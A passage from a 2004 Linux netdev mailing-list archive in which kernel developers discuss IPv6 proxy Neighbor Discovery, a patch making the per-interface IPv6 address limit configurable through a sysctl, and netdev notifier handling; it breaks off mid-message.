yue.hongo.wide.ad.jp (yue.hongo.wide.ad.jp [203.178.135.30]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0FF0s6H005959 for ; Thu, 15 Jan 2004 07:00:56 -0800 Received: from localhost (localhost [127.0.0.1]) by yue.hongo.wide.ad.jp (Postfix) with ESMTP id A4D7E33CC2; Fri, 16 Jan 2004 00:01:17 +0900 (JST) Date: Fri, 16 Jan 2004 00:01:17 +0900 (JST) Message-Id: <20040116.000117.133662773.yoshfuji@linux-ipv6.org> To: vnuorval@tcs.hut.fi Cc: netfilter-devel@lists.netfilter.org, davem@redhat.com, netdev@oss.sgi.com, kuznet@ms2.inr.ac.ru, yoshfuji@linux-ipv6.org Subject: Re: [PATCH|RFC] IPv6 netfilter: a module for complete proxy ND support From: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= In-Reply-To: References: <20040115.223430.100570163.yoshfuji@linux-ipv6.org> Organization: USAGI Project X-URL: http://www.yoshifuji.org/%7Ehideaki/ X-Fingerprint: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA X-PGP-Key-URL: http://www.yoshifuji.org/%7Ehideaki/hideaki@yoshifuji.org.asc X-Face: "5$Al-.M>NJ%a'@hhZdQm:."qn~PA^gq4o*>iCFToq*bAi#4FRtx}enhuQKz7fNqQz\BYU] $~O_5m-9'}MIs`XGwIEscw;e5b>n"B_?j/AkL~i/MEaZBLP X-Mailer: Mew version 2.2 on Emacs 20.7 / Mule 4.1 (AOI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 2491 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yoshfuji@linux-ipv6.org Precedence: bulk X-list: netdev Content-Length: 917 Lines: 23 In article (at Thu, 15 Jan 2004 16:53:42 +0200 (EET)), Ville Nuorvala says: > On Thu, 15 Jan 2004, YOSHIFUJI Hideaki / [iso-2022-jp] µÈÆ£±ÑÌÀ wrote: > > > In article (at Thu, 15 Jan 2004 15:00:24 +0200 (EET)), Ville Nuorvala says: > > > > > On Wed, 14 Jan 2004, YOSHIFUJI Hideaki / [iso-2022-jp] µÈÆ£±ÑÌÀ wrote: > > > > > > > I don't think so. Proxy should not depend on netfilter. > > : > > > There aren't that many ways of doing this "hack" cleanly. > > > > Well... > > > > We (or only me?) might have mis-understood the "proxy" in Linux :-P > > It is not for proxy in rfc2461, is it? > > It is for proxy in Thaler's draft, isn't it? > > No, it's for the proxy go old proxy in rfc2461 :( Really? I doubt that because of usage and comment in net/ipv4. --yoshfuji From yoshfuji@linux-ipv6.org Thu Jan 15 07:12:51 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 15 Jan 2004 07:13:03 -0800 (PST) Received: from yue.hongo.wide.ad.jp (yue.hongo.wide.ad.jp [203.178.135.30]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0FFCo6H006398 for ; Thu, 15 Jan 2004 07:12:50 -0800 Received: from localhost (localhost [127.0.0.1]) by yue.hongo.wide.ad.jp (Postfix) with ESMTP id B477D33CC5; Fri, 16 Jan 2004 00:13:17 +0900 (JST) Date: Fri, 16 Jan 2004 00:13:17 +0900 (JST) Message-Id: <20040116.001317.73950271.yoshfuji@linux-ipv6.org> To: vnuorval@tcs.hut.fi Cc: netfilter-devel@lists.netfilter.org, davem@redhat.com, netdev@oss.sgi.com, kuznet@ms2.inr.ac.ru, yoshfuji@linux-ipv6.org Subject: Re: [PATCH|RFC] IPv6 netfilter: a module for complete proxy ND support From: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= In-Reply-To: References: <20040116.000117.133662773.yoshfuji@linux-ipv6.org> Organization: USAGI Project X-URL: http://www.yoshifuji.org/%7Ehideaki/ X-Fingerprint: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA X-PGP-Key-URL: http://www.yoshifuji.org/%7Ehideaki/hideaki@yoshifuji.org.asc X-Face: "5$Al-.M>NJ%a'@hhZdQm:."qn~PA^gq4o*>iCFToq*bAi#4FRtx}enhuQKz7fNqQz\BYU] $~O_5m-9'}MIs`XGwIEscw;e5b>n"B_?j/AkL~i/MEaZBLP X-Mailer: Mew version 2.2 on Emacs 20.7 / Mule 4.1 (AOI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 2492 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yoshfuji@linux-ipv6.org Precedence: bulk X-list: netdev Content-Length: 563 Lines: 15 In article (at Thu, 15 Jan 2004 17:09:00 +0200 (EET)), Ville Nuorvala says: > On Fri, 16 Jan 2004, YOSHIFUJI Hideaki / [iso-2022-jp] µÈÆ£±ÑÌÀ wrote: > > > Really? I doubt that because of usage and comment in net/ipv4. > > Sorry, could you clarify? What usage and comment in net/ipv4 ?-) net/ipv4/arp.c: | * Alan Cox : Don't proxy across hardware types! This implies that proxy works across devices and it is NOT what the "proxy" does in rfc2461. --yoshfuji From pekkas@netcore.fi Thu Jan 15 07:25:45 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 15 Jan 2004 07:25:57 -0800 (PST) Received: from netcore.fi (netcore.fi [193.94.160.1]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0FFPg6H006965 for ; Thu, 15 Jan 2004 07:25:44 -0800 Received: from localhost (pekkas@localhost) by netcore.fi (8.11.6/8.11.6) with ESMTP id i0FFNNM16726; Thu, 15 Jan 2004 17:23:23 +0200 Date: Thu, 15 Jan 2004 17:23:23 +0200 (EET) From: Pekka Savola To: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= cc: davem@redhat.com, , Subject: Re: [PATCH] IPV6: added sysctl for maximum number of addresses In-Reply-To: <20040115.213014.133549139.yoshfuji@linux-ipv6.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=ISO-8859-1 X-archive-position: 2493 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: pekkas@netcore.fi Precedence: bulk X-list: netdev Content-Length: 5516 Lines: 170 On Thu, 15 Jan 2004, YOSHIFUJI Hideaki / [iso-2022-jp] $B5HF#1QL@(B wrote: > In some configuration, we need addresses more than 16 addresses per interface. > This pach adds new sysctl for configuring the maximum number of addresses > per interface. Doesn't 16 addresses per interface sound like an awfully small number? Consider a web service which wants to have a different IP address per virtual host. These are not really uncommon. Maybe 64 or 256 would be a better default? After all, you shouldn't be able to crash the kernel using those numbers in any case, and if you can't, the default value should be something that's useful for as many people as reasonably? > ===== Documentation/networking/ip-sysctl.txt 1.18 vs edited ===== > --- 1.18/Documentation/networking/ip-sysctl.txt Thu Dec 25 12:32:23 2003 > +++ edited/Documentation/networking/ip-sysctl.txt Thu Jan 15 21:25:49 2004 > @@ -667,6 +667,13 @@ > valid temporary addresses. > Default: 5 > > +max_addresses - INTEGER > + Number of maximum addresses per interface. 0 disables limitation. > + It is recommended not set too large value (or 0) because it would > + be too easy way to crash kernel to allow to create too much of > + autoconfigured addresses. > + Default: 16 > + > icmp/*: > ratelimit - INTEGER > Limit the maximal rates for sending ICMPv6 packets. > ===== include/linux/ipv6.h 1.15 vs edited ===== > --- 1.15/include/linux/ipv6.h Fri Jan 2 05:28:33 2004 > +++ edited/include/linux/ipv6.h Thu Jan 15 21:17:23 2004 > @@ -143,6 +143,7 @@ > __s32 regen_max_retry; > __s32 max_desync_factor; > #endif > + __s32 max_addresses; > void *sysctl; > }; > > @@ -165,6 +166,7 @@ > DEVCONF_REGEN_MAX_RETRY, > DEVCONF_MAX_DESYNC_FACTOR, > #endif > + DEVCONF_MAX_ADDRESSES, > DEVCONF_MAX > }; > > ===== include/linux/sysctl.h 1.54 vs edited ===== > --- 1.54/include/linux/sysctl.h Thu Dec 25 12:32:23 2003 > +++ edited/include/linux/sysctl.h Thu Jan 15 21:03:14 2004 > @@ -418,7 +418,8 @@ > NET_IPV6_TEMP_VALID_LFT=12, > NET_IPV6_TEMP_PREFERED_LFT=13, > NET_IPV6_REGEN_MAX_RETRY=14, > - NET_IPV6_MAX_DESYNC_FACTOR=15 > + NET_IPV6_MAX_DESYNC_FACTOR=15, > + NET_IPV6_MAX_ADDRESSES=16 > }; > > /* /proc/sys/net/ipv6/icmp */ > ===== include/net/addrconf.h 1.11 vs edited ===== > --- 1.11/include/net/addrconf.h Sun Jul 6 02:36:23 2003 > +++ edited/include/net/addrconf.h Thu Jan 15 21:05:01 2004 > @@ -15,6 +15,8 @@ > > #define ADDR_CHECK_FREQUENCY (120*HZ) > > +#define IPV6_MAX_ADDRESSES 16 > + > struct prefix_info { > __u8 type; > __u8 length; > ===== net/ipv6/addrconf.c 1.79 vs edited ===== > --- 1.79/net/ipv6/addrconf.c Thu Jan 8 05:17:40 2004 > +++ edited/net/ipv6/addrconf.c Thu Jan 15 21:09:43 2004 > @@ -81,8 +81,6 @@ > #include > #include > > -#define IPV6_MAX_ADDRESSES 16 > - > /* Set to 3 to get tracing... */ > #define ACONF_DEBUG 2 > > @@ -160,6 +158,7 @@ > .regen_max_retry = REGEN_MAX_RETRY, > .max_desync_factor = MAX_DESYNC_FACTOR, > #endif > + .max_addresses = IPV6_MAX_ADDRESSES, > }; > > static struct ipv6_devconf ipv6_devconf_dflt = { > @@ -180,6 +179,7 @@ > .regen_max_retry = REGEN_MAX_RETRY, > .max_desync_factor = MAX_DESYNC_FACTOR, > #endif > + .max_addresses = IPV6_MAX_ADDRESSES, > }; > > /* IPv6 Wildcard Address and Loopback Address defined by RFC2553 */ > @@ -630,6 +630,7 @@ > unsigned long tmp_prefered_lft, tmp_valid_lft; > int tmp_plen; > int ret = 0; > + int max_addresses; > > if (ift) { > spin_lock_bh(&ift->lock); > @@ -685,9 +686,11 @@ > ifp->prefered_lft, > idev->cnf.temp_prefered_lft - desync_factor / HZ); > tmp_plen = ifp->prefix_len; > + max_addresses = idev->cnf.max_addresses; > write_unlock(&idev->lock); > spin_unlock_bh(&ifp->lock); > - ift = ipv6_count_addresses(idev) < IPV6_MAX_ADDRESSES ? > + ift = !max_addresses || > + ipv6_count_addresses(idev) < max_addresses ? > ipv6_add_addr(idev, &addr, tmp_plen, > ipv6_addr_type(&addr)&IPV6_ADDR_SCOPE_MASK, IFA_F_TEMPORARY) : 0; > if (!ift || IS_ERR(ift)) { > @@ -1390,10 +1393,13 @@ > ifp = ipv6_get_ifaddr(&addr, dev); > > if (ifp == NULL && valid_lft) { > + int max_addresses = in6_dev->cnf.max_addresses; > + > /* Do not allow to create too much of autoconfigured > * addresses; this would be too easy way to crash kernel. > */ > - if (ipv6_count_addresses(in6_dev) < IPV6_MAX_ADDRESSES) > + if (!max_addresses || > + ipv6_count_addresses(in6_dev) < max_addresses) > ifp = ipv6_add_addr(in6_dev, &addr, pinfo->prefix_len, > addr_type&IPV6_ADDR_SCOPE_MASK, 0); > > @@ -2722,6 +2728,7 @@ > array[DEVCONF_REGEN_MAX_RETRY] = cnf->regen_max_retry; > array[DEVCONF_MAX_DESYNC_FACTOR] = cnf->max_desync_factor; > #endif > + array[DEVCONF_MAX_ADDRESSES] = cnf->max_addresses; > } > > static int inet6_fill_ifinfo(struct sk_buff *skb, struct net_device *dev, > @@ -3050,6 +3057,14 @@ > .proc_handler = &proc_dointvec, > }, > #endif > + { > + .ctl_name = NET_IPV6_MAX_ADDRESSES, > + .procname = "max_addresses", > + .data = &ipv6_devconf.max_addresses, > + .maxlen = sizeof(int), > + .mode = 0644, > + .proc_handler = &proc_dointvec, > + }, > }, > .addrconf_dev = { > { > > -- Pekka Savola "You each name yourselves king, yet the Netcore Oy kingdom bleeds." Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings From vnuorval@tcs.hut.fi Thu Jan 15 07:34:52 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 15 Jan 2004 07:35:05 -0800 (PST) Received: from neon.tcs.hut.fi (neon.tcs.hut.fi [130.233.215.20]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0FFYp6H007457 for ; Thu, 15 Jan 2004 07:34:52 -0800 Received: from rhea.tcs.hut.fi (rhea.tcs.hut.fi [130.233.215.147]) by neon.tcs.hut.fi (Postfix) with ESMTP id CE29A8003D2; Thu, 15 Jan 2004 17:34:50 +0200 (EET) Received: from rhea.tcs.hut.fi (localhost [127.0.0.1]) by rhea.tcs.hut.fi (8.12.3/8.12.3/Debian-6.6) with ESMTP id i0FFYo7Y001376; Thu, 15 Jan 2004 17:34:50 +0200 Received: from localhost (vnuorval@localhost) by rhea.tcs.hut.fi (8.12.3/8.12.3/Debian-6.6) with ESMTP id i0FFYoSY001372; Thu, 15 Jan 2004 17:34:50 +0200 Date: Thu, 15 Jan 2004 17:34:50 +0200 (EET) From: Ville Nuorvala To: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= Cc: netfilter-devel@lists.netfilter.org, davem@redhat.com, netdev@oss.sgi.com, kuznet@ms2.inr.ac.ru Subject: Re: [PATCH|RFC] IPv6 netfilter: a module for complete proxy ND support In-Reply-To: <20040116.001317.73950271.yoshfuji@linux-ipv6.org> Message-ID: References: <20040116.000117.133662773.yoshfuji@linux-ipv6.org> <20040116.001317.73950271.yoshfuji@linux-ipv6.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=iso-8859-15 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from QUOTED-PRINTABLE to 8bit by oss.sgi.com id i0FFYp6H007457 X-archive-position: 2494 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: vnuorval@tcs.hut.fi Precedence: bulk X-list: netdev Content-Length: 923 Lines: 29 On Fri, 16 Jan 2004, YOSHIFUJI Hideaki / [iso-2022-jp] µÈÆ£±ÑÌÀ wrote: > net/ipv4/arp.c: > | * Alan Cox : Don't proxy across hardware types! > > This implies that proxy works across devices and > it is NOT what the "proxy" does in rfc2461. Yes, as Pekka said, Thaler's proxy is like proxy ARP. The proxy in rfc2461 is different. It is just a router that responds to Neighbor Discovery queries on behalf of another node on the link. The problem is that the ND queries may be both multicast and unicast. In the current implementation the proxying router captures the multicast queries since it has joined the solicited-node multicast group, but it doesn't capture the unicast queries. This is what I want to fix. Regards, Ville -- Ville Nuorvala Research Assistant, Institute of Digital Communications, Helsinki University of Technology email: vnuorval@tcs.hut.fi, phone: +358 (0)9 451 5257 From vnuorval@tcs.hut.fi Thu Jan 15 07:43:22 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 15 Jan 2004 07:43:34 -0800 (PST) Received: from neon.tcs.hut.fi (neon.tcs.hut.fi [130.233.215.20]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0FFhB6H007951 for ; Thu, 15 Jan 2004 07:43:11 -0800 Received: from rhea.tcs.hut.fi (rhea.tcs.hut.fi [130.233.215.147]) by neon.tcs.hut.fi (Postfix) with ESMTP id 4DB8E8001BF; Thu, 15 Jan 2004 17:09:01 +0200 (EET) Received: from rhea.tcs.hut.fi (localhost [127.0.0.1]) by rhea.tcs.hut.fi (8.12.3/8.12.3/Debian-6.6) with ESMTP id i0FF917Y001296; Thu, 15 Jan 2004 17:09:01 +0200 Received: from localhost (vnuorval@localhost) by rhea.tcs.hut.fi (8.12.3/8.12.3/Debian-6.6) with ESMTP id i0FF90mg001292; Thu, 15 Jan 2004 17:09:00 +0200 Date: Thu, 15 Jan 2004 17:09:00 +0200 (EET) From: Ville Nuorvala To: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= Cc: netfilter-devel@lists.netfilter.org, davem@redhat.com, netdev@oss.sgi.com, kuznet@ms2.inr.ac.ru Subject: Re: [PATCH|RFC] IPv6 netfilter: a module for complete proxy ND support In-Reply-To: <20040116.000117.133662773.yoshfuji@linux-ipv6.org> Message-ID: References: <20040115.223430.100570163.yoshfuji@linux-ipv6.org> <20040116.000117.133662773.yoshfuji@linux-ipv6.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=iso-8859-15 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from QUOTED-PRINTABLE to 8bit by oss.sgi.com id i0FFhB6H007951 X-archive-position: 2495 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: vnuorval@tcs.hut.fi Precedence: bulk X-list: netdev Content-Length: 374 Lines: 13 On Fri, 16 Jan 2004, YOSHIFUJI Hideaki / [iso-2022-jp] µÈÆ£±ÑÌÀ wrote: > Really? I doubt that because of usage and comment in net/ipv4. Sorry, could you clarify? What usage and comment in net/ipv4 ?-) Ville -- Ville Nuorvala Research Assistant, Institute of Digital Communications, Helsinki University of Technology email: vnuorval@tcs.hut.fi, phone: +358 (0)9 451 5257 From pekkas@netcore.fi Thu Jan 15 07:45:03 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 15 Jan 2004 07:45:16 -0800 (PST) Received: from netcore.fi (netcore.fi [193.94.160.1]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0FFj16H008217 for ; Thu, 15 Jan 2004 07:45:02 -0800 Received: from localhost (pekkas@localhost) by netcore.fi (8.11.6/8.11.6) with ESMTP id i0FFgcf17010; Thu, 15 Jan 2004 17:42:38 +0200 Date: Thu, 15 Jan 2004 17:42:38 +0200 (EET) From: Pekka Savola To: Ville Nuorvala cc: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= , , , , Subject: Re: [PATCH|RFC] IPv6 netfilter: a module for complete proxy ND support In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 2496 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: pekkas@netcore.fi Precedence: bulk X-list: netdev Content-Length: 815 Lines: 20 On Thu, 15 Jan 2004, Ville Nuorvala wrote: > In the current implementation the proxying router captures the multicast > queries since it has joined the solicited-node multicast group, but it > doesn't capture the unicast queries. > > This is what I want to fix. But isn't this like a trivial thing to do, hardly something you want to add a netfilter dependency for? In addition to cycling through your own addresses for responding to unicast queries, you also respond to a specific set of addresses which have been explicitly configured somewhere? (with a configuration tool like 'arp', e.g. KAME has 'ndp' for that) -- Pekka Savola "You each name yourselves king, yet the Netcore Oy kingdom bleeds." Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings From yoshfuji@linux-ipv6.org Thu Jan 15 07:54:16 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 15 Jan 2004 07:54:29 -0800 (PST) Received: from yue.hongo.wide.ad.jp (yue.hongo.wide.ad.jp [203.178.135.30]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0FFsG6H008894 for ; Thu, 15 Jan 2004 07:54:16 -0800 Received: from localhost (localhost [127.0.0.1]) by yue.hongo.wide.ad.jp (Postfix) with ESMTP id AB46E33CC7; Fri, 16 Jan 2004 00:54:43 +0900 (JST) Date: Fri, 16 Jan 2004 00:54:43 +0900 (JST) Message-Id: <20040116.005443.92504522.yoshfuji@linux-ipv6.org> To: vnuorval@tcs.hut.fi Cc: netfilter-devel@lists.netfilter.org, davem@redhat.com, netdev@oss.sgi.com, kuznet@ms2.inr.ac.ru, yoshfuji@linux-ipv6.org Subject: Re: [PATCH|RFC] IPv6 netfilter: a module for complete proxy ND support From: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= In-Reply-To: References: <20040116.001317.73950271.yoshfuji@linux-ipv6.org> Organization: USAGI Project X-URL: http://www.yoshifuji.org/%7Ehideaki/ X-Fingerprint: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA X-PGP-Key-URL: http://www.yoshifuji.org/%7Ehideaki/hideaki@yoshifuji.org.asc X-Face: "5$Al-.M>NJ%a'@hhZdQm:."qn~PA^gq4o*>iCFToq*bAi#4FRtx}enhuQKz7fNqQz\BYU] $~O_5m-9'}MIs`XGwIEscw;e5b>n"B_?j/AkL~i/MEaZBLP X-Mailer: Mew version 2.2 on Emacs 20.7 / Mule 4.1 (AOI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 2497 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yoshfuji@linux-ipv6.org Precedence: bulk X-list: netdev Content-Length: 1193 Lines: 31 In article (at Thu, 15 Jan 2004 17:34:50 +0200 (EET)), Ville Nuorvala says: > On Fri, 16 Jan 2004, YOSHIFUJI Hideaki / [iso-2022-jp] µÈÆ£±ÑÌÀ wrote: > > > net/ipv4/arp.c: > > | * Alan Cox : Don't proxy across hardware types! > > > > This implies that proxy works across devices and > > it is NOT what the "proxy" does in rfc2461. > > Yes, as Pekka said, Thaler's proxy is like proxy ARP. So, all usage of pneigh_XXX() is not for rfc2461 but for proxy arp. 1) We need to consider how to implement rfc2461-proxy. 2) We need to revisit all usages in net/ipv6. > In the current implementation the proxying router captures the multicast > queries since it has joined the solicited-node multicast group, but it > doesn't capture the unicast queries. It is VERY strange to handle multicast / unicast in different way. I really hate such a hetero (or an inconsistent) implementation. > This is what I want to fix. I understand the issue, but the fix is unappropriate. -- Hideaki YOSHIFUJI @ USAGI Project GPG FP: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA From yoshfuji@linux-ipv6.org Thu Jan 15 08:07:06 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 15 Jan 2004 08:07:19 -0800 (PST) Received: from yue.hongo.wide.ad.jp (yue.hongo.wide.ad.jp [203.178.135.30]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0FG6t6H009453 for ; Thu, 15 Jan 2004 08:06:56 -0800 Received: from localhost (localhost [127.0.0.1]) by yue.hongo.wide.ad.jp (Postfix) with ESMTP id 23F6633CC6; Fri, 16 Jan 2004 00:34:34 +0900 (JST) Date: Fri, 16 Jan 2004 00:34:33 +0900 (JST) Message-Id: <20040116.003433.120676843.yoshfuji@linux-ipv6.org> To: pekkas@netcore.fi Cc: davem@redhat.com, vnuorval@tcs.hut.fi, netdev@oss.sgi.com, yoshfuji@linux-ipv6.org Subject: Re: [PATCH] IPV6: added sysctl for maximum number of addresses From: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= In-Reply-To: References: <20040115.213014.133549139.yoshfuji@linux-ipv6.org> Organization: USAGI Project X-URL: http://www.yoshifuji.org/%7Ehideaki/ X-Fingerprint: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA X-PGP-Key-URL: http://www.yoshifuji.org/%7Ehideaki/hideaki@yoshifuji.org.asc X-Face: "5$Al-.M>NJ%a'@hhZdQm:."qn~PA^gq4o*>iCFToq*bAi#4FRtx}enhuQKz7fNqQz\BYU] $~O_5m-9'}MIs`XGwIEscw;e5b>n"B_?j/AkL~i/MEaZBLP X-Mailer: Mew version 2.2 on Emacs 20.7 / Mule 4.1 (AOI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 2498 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yoshfuji@linux-ipv6.org Precedence: bulk X-list: netdev Content-Length: 858 Lines: 21 In article (at Thu, 15 Jan 2004 17:23:23 +0200 (EET)), Pekka Savola says: > On Thu, 15 Jan 2004, YOSHIFUJI Hideaki / [iso-2022-jp] $B5HF#1QL@(B wrote: > > In some configuration, we need addresses more than 16 addresses per interface. > > This pach adds new sysctl for configuring the maximum number of addresses > > per interface. > > Doesn't 16 addresses per interface sound like an awfully small number? > Consider a web service which wants to have a different IP address per > virtual host. These are not really uncommon. My point is the value becomes configurable. "16" is consistent with current behavior. I do not change the default value with this patch. If you think it is too small, feel free to submit a patch to increase the default value. Thanks. --yoshfuji From shemminger@osdl.org Thu Jan 15 09:53:11 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 15 Jan 2004 09:53:23 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0FHrA6H024001 for ; Thu, 15 Jan 2004 09:53:10 -0800 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i0FHqqo19412; Thu, 15 Jan 2004 09:52:52 -0800 Date: Thu, 15 Jan 2004 09:52:52 -0800 From: Stephen Hemminger To: "David S. Miller" Cc: mpm@selenic.com, netdev@oss.sgi.com Subject: Re: [PATCH] support for large number of network devices. Message-Id: <20040115095252.3641d126.shemminger@osdl.org> In-Reply-To: <20040115004631.2839c8b8.davem@redhat.com> References: <20040113154610.38f5934c.shemminger@osdl.org> <20040113155921.342db463.davem@redhat.com> <20040113161303.20f1159d.shemminger@osdl.org> <20040114071303.GG28521@waste.org> <20040114113734.4e9a0865.shemminger@osdl.org> <20040114121155.7dabd70e.davem@redhat.com> <20040114162411.08322247.shemminger@osdl.org> <20040115004631.2839c8b8.davem@redhat.com> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.7claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2499 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Content-Length: 641 Lines: 18 On Thu, 15 Jan 2004 00:46:31 -0800 "David S. Miller" wrote: > On Wed, 14 Jan 2004 16:24:11 -0800 > Stephen Hemminger wrote: > > > This should make it match the existing semantics more exactly. > > It will skip the false positive matchs from sscanf trailing chars > > or blanks. > > Ok, but... I thought we had decided to move towards the hashing based > patch you said you had so we can kill two birds with one stone? > > At least, that is the conclusion I thought we had arrived at. > :-) The right way is a combination of the two pass dev_alloc_name and hashing the names. Both work together From shemminger@osdl.org Thu Jan 15 10:16:31 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 15 Jan 2004 10:16:44 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0FIGV6H025501 for ; Thu, 15 Jan 2004 10:16:31 -0800 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i0FIGHo23522; Thu, 15 Jan 2004 10:16:18 -0800 Date: Thu, 15 Jan 2004 10:16:17 -0800 From: Stephen Hemminger To: "David S. Miller" Cc: netdev@oss.sgi.com, chas@cmf.nrl.navy.mil Subject: Re: [PATCH] (1/5) replay netdev notifier events on registration Message-Id: <20040115101617.0782fcca.shemminger@osdl.org> In-Reply-To: <20040115004255.62dc8b95.davem@redhat.com> References: <20040113105843.0d1351cb.shemminger@osdl.org> <20040113163631.1a9c1a59.davem@redhat.com> <20040114164416.753a62fc.shemminger@osdl.org> <20040115004255.62dc8b95.davem@redhat.com> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.7claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2500 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Content-Length: 3398 Lines: 97 On Thu, 15 Jan 2004 00:42:55 -0800 "David S. Miller" wrote: > On Wed, 14 Jan 2004 16:44:16 -0800 > Stephen Hemminger wrote: > > > Possible problems: > > qeth: s390 driver -- bug, code is narcissistic and thinks it only gets > > notified about it's own devices. > > > > atm/mpc: only looks for "lec" devices, don't know if they could exist > > before it starts. > > These are both hard errors and potential bogus pointer derefences, they both > assume the type of dev->priv. The atm/mpc case has a netdev->name==NULL > test which is a funny relic :-) > > Both these cases ought to be fixed. However, the atm/mpc case poses an issue, > how to identify "my" devices? We've established that the textual name is > basically arbitrary and not a reliable key. Currently I see only two > possible reliable solutions, but I like neither of them: > > 1) Device driver doing this needs to keep own list of net devices it > has created. Then it's notifiier code does something like: > > if (!find_in_mpoa_devlist(dev)) > return NOTIFY_DONE; This is done other places, but your right it scales poorly > 2) Add a type cookie or similar to the generic netdev, only devices > which need to identify themselves in these generic kind of cases > add identifier values there, so currently that would be MPOA and > QETH, then the 